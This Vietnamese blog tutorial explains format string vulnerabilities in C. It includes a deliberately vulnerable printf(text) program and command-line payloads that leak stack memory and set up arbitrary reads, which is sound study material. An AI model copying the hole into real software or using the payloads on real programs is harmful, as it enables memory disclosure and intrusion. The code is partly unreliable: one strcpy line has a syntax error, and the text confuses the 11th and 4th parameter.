This page looks best with JavaScript enabled

Khai thác lỗi Format Strings

 ·  ☕ 8 min read  ·  🐉 Edisc

Mở đầu

Khai thác lỗi format string là một kĩ thuật cho phép chúng ta chiếm quyền kiểm soát của mộ chương trình đặc quyền. Giống như buffer overflow, format string cũng phụ thuộc vào lỗi khi lập trình, những lỗi này khi nhìn sơ qua thì không thấy có ảnh hưởng gì đến chương trình.

Nội dung chính

Format Paraameters

  • 1 function sử dụng định dạng chuỗi, như là prrintf(), chỉ cần xem xét định dạng được truyền vào nó và thực hiện những hoạt động đặc biệt mỗi khi gặp phải tham số truyền vào. Mỗi tham số định dạng chuỗi thì tương ứng với một tham số truyền vào, ví dụ chuỗi chúng ta sử dụng 4 tham số định dạng thì cần phải truyền 4 biến tương ưng.
  • Những dạng định dạng tham số thường gặp:
Parameter Input Type Output Type
%d Value Decimal
%u Value Unsigned decimal
%x Value Hexadecimal
%s Pointer String
%n Pointer Number of bytes written so far
  • Chúng ta sẽ thử với chương trình sau:

fmt_uncommon.c

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
#include <stdio.h>
#include <stdlib.h>
int main() {
   int A = 5, B = 7, count_one, count_two;
   // Example of a %n format string
   printf("The number of bytes written up to this point X%n is being stored in count_one, and the number of bytes up to here X%n is being stored in count_two.\n", &count_one, &count_two);
   printf("count_one: %d\n", count_one);
   printf("count_two: %d\n", count_two);
   // Stack example
   printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
   exit(0);
} 
  • Chương trình sử dụng định dạng %n trong hàm printf(). Chúng ta chạy và xem output như thế nào.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
➜  fmt git:(main) ✗ gcc fmt_uncommon.c                                          
fmt_uncommon.c: In function ‘main’:
fmt_uncommon.c:14:34: warning: format ‘%x’ expects argument of type ‘unsigned int’, but argument 3 has type ‘int *’ [-Wformat=]
   14 |     printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
      |                               ~~~^                  ~~
      |                                  |                  |
      |                                  unsigned int       int *
      |                               %08ls
➜  fmt git:(main) ✗ ./a.out                                      
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at c6658b68. B is 7.
➜  fmt git:(main)
  • %n là định dạng duy nhất dùng để ghi dữ liệu thay vì hiển thị dữ liệu. Khi hàm định dạng gặp tham số %n, nó sẽ viết tổng số byte mà nó đã được viết bởi hàm vào địa chỉ tương ứng của biến. Ví dụ với hàm fmt_common trên, A có giá trị là 46 bởi vì tổng số byte mà hàm printf đã in ra cho tới khi gặp %n là 46 kí tự:
1
2
3
>>> la = "The number of bytes written up to this point X"
>>> len(la)
46
  • Xem xét câu lệnh sau:
1
printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
  • Khi hàm printf() được gọi, các tham số được dưa vào stack theo thứ tự ngược lại:
Top of the Stack
Address of format string
Value of A
Address of A
Value of B
Bottom of the Stack
  • Hàm printf sẽ đi qua từng kí tự một, nếu kí tự không bắt đầu bằng một format-parameter, kí tự này sẽ được copy ra output. Nếu một format-parameter được gặp, nó sẽ lấy giá trị của đối số trong stack tương ứng với parameter.
  • Trong trường hợp số argeument trong stack ít hơn số format-parameter trong string thì điều gì sẽ xảy ra? Ví dụ:
1
printf("A is %d and is at %08x. B is %x.\n", A, &A);
  • Ta sẽ tiến hành thay đổi 1 tí ở chương trình fmt_uncommon2.c
1
2
3
4
5
6
7
➜  fmt git:(main) ✗ sed -e 's/, B)/)/' fmt_uncommon.c > fmt_uncommon2.c
➜  fmt git:(main) ✗ diff fmt_uncommon.c fmt_uncommon2.c 
14c14
<     printf("A is %d and is at %08x. B is %x.\n", A, &A, B);
---
>     printf("A is %d and is at %08x. B is %x.\n", A, &A);
➜  fmt git:(main)
  • Compile và chạy, xem kết quả:
1
2
3
4
5
6
  fmt git:(main)  gcc -o fmt_uncommon2 fmt_uncommon2.c -w
  fmt git:(main)  ./fmt_uncommon2
The number of bytes written up to this point X is being stored in count_one, and the number of bytes up to here X is being stored in count_two.
count_one: 46
count_two: 113
A is 5 and is at 74f2e9b8. B is 0.
  • Chúng ta dùng -w để tắt đi những warning từ compiler.
  • Khi chạy, ta thấy B lúc bây giờ có giá trị là 0. Tại sao B lại có giá trị là 0 trong khi giá trị khởi tạo của B là 7?
  • Ta đã biết rằng, khi hàm printf() gọi, nó sẽ đẩy các đối số vào trong stack và khi gặp format-parameter, nó sẽ vào stack và lấy giá trị này ra. Tuy nhiên, trong trường hợp này, số format-parameter lại nhiều hơn argument, nên đến tham số thứ 3, hàm printf cũng vào stack để lấy giá trị tại vị trí thứ 3 trên stack. 0 là giá trị đầu tiên mà hàm printf tìm thấy trên stack.

The Format String Vulnerability

  • Đôi khi programmer sử dụng printf(string) thay vì printf("%s", string). Lúc này, hàm printf sẽ nhận trực tiếp địa chỉ của string và in từng kí tự trong string đó. Đoạn code sau thể hiện hoạt động của 2 cách sử dụng này.
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int main(int argc, char *argv[]) {
	char text[1024];
	static int test_val = -72;

	if (argc < 2) {
		printf("Usage: %s <text to print>\n", argv[0]);
		exit(0);
	}
	strcpy(text. argv[1]);

	printf("The right way to print user-controlled input:\n");
	printf("%s", text);

	printf("\n The wrong way to print user-controlled input:\n");
	printf(text);

	printf("\n");

	// Debug output
	printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);
	exit(0);
}
  • Tiến hành biên dịch và xem kết quả:
1
2
3
4
5
6
7
➜  fmt git:(main) ✗ gcc -o fmt_vuln fmt_vuln.c -w          
➜  fmt git:(main) ✗ ./fmt_vuln hello_world
The right way to print user-controlled input:
hello_world
 The wrong way to print user-controlled input:
hello_world
[*] test_val @ 0x8a756010 = -72 0xffffffb8
  • Với input là hello_world, cả 2 cách đều hoạt động tốt. Tuy nhiên, nếu input nhập vào chứa format parameter liệu cả 2 có như nhau hay không?
1
2
3
4
5
6
➜  fmt git:(main) ✗ ./fmt_vuln hello_world%x 
The right way to print user-controlled input:
hello_world%x
 The wrong way to print user-controlled input:
hello_world128012a0
[*] test_val @ 0x10ff0010 = -72 0xffffffb8
  • Từ output trên ta thấy, với cách dùng thứ 2, giá trị trên stack đã được in ra. Với mỗi tham số %x được sủ dụng, 4 bytes trên stack sẽ được in ra. Do đó, nếu lặp lại quá trình này, chúng ta có thể lấy toàn bộ dữ liệu trên stack.
1
2
3
4
5
6
➜  fmt git:(main) ✗ ./fmt_vuln $(perl -e 'print "%08x."x40')
The right way to print user-controlled input:
%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.
 The wrong way to print user-controlled input:
925a72a0.00000000.946a01e7.00000030.000000c8.c2052148.947819a8.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.78383025.30252e78.2e783830.3830252e.252e7838.947a9700.c2051d60.945abab0.94781000.00000000.c2051de0.00000000.00000000.
[*] test_val @ 0x92502010 = -72 0xffffffb8
  • Ta thấy dữ liệu trên stack đã được in ra theo từng nhóm 4 bytes, và 4 byte này theo thứ tự ngược do kiến trúc little-endian. Những bytes 0x25, 0x30, 0x38, 0x78, 0x2e dường như lặp lại nhiều lần. Cùng xem thử những byte này có giá trị là gì?
1
2
➜  fmt git:(main)printf "\x25\x30\x38\x78\x2e\n"
%08x.
  • Như chúng ta có thể thấy, vùng nhớ này là giá trị của format-string. Vì hàm printf luôn nằm ở vị trí cao nhất trên stack frameformat-string có thể nằm ở bất kì đâu trên stack. Nó sẽ nằm dưới frame pointer hiện tại.

    Reading from Arbitrary Memory Addresses

    • Định dạng %s được dùng để đọc địa chỉ vùng nhớ bất kì. Vì nó có thể đọc dữ liệu của chuỗi định dạng ban đầu, một phần của chuỗi định dạng ban đầu có thể được sử dụng để cung cấp địa chỉ cho tham số định dạng %s, như được hiển thị ở đây:
1
2
3
4
5
6
  ➜  fmt git:(main) ✗ ./fmt_vuln AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
The right way to print user-controlled input:
AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x
 The wrong way to print user-controlled input:
AAAAff9a1a6c.f7d7068c.08049234.f7d7976c.f7f6f110.ff9a1aac.ff9a1f24.00000003.00000000.f7fa3000.41414141
[*] test_val @ 0x0804c02c = -72 0xffffffb8
  • 4 bytes của 0x41 cho thấy tham số thứ 11 là dữ liệu bắt dầu của chuỗi chúng ta nhập vào. Nếu chúng ta thay format-parameter thứ 4 thành %s thay vì %x, hàm printf sẽ in ra chuỗi tại địa chỉ 0x41414141. Việc này sẽ làm crash chương trình vì 0x41414141 là một địa chỉ không hợp lệ. Nhưng, nếu địa chỉ này hợp lệ, thì ta có thể đọc được chuỗi tại địa chỉ này.
  • Ta dùng một chương trình có tên là getenvaddr để lấy địa chỉ của biến môi trường PATH.
Share on

Edisc
WRITTEN BY
Edisc
Cyber Security Engineer

 
What's on this Page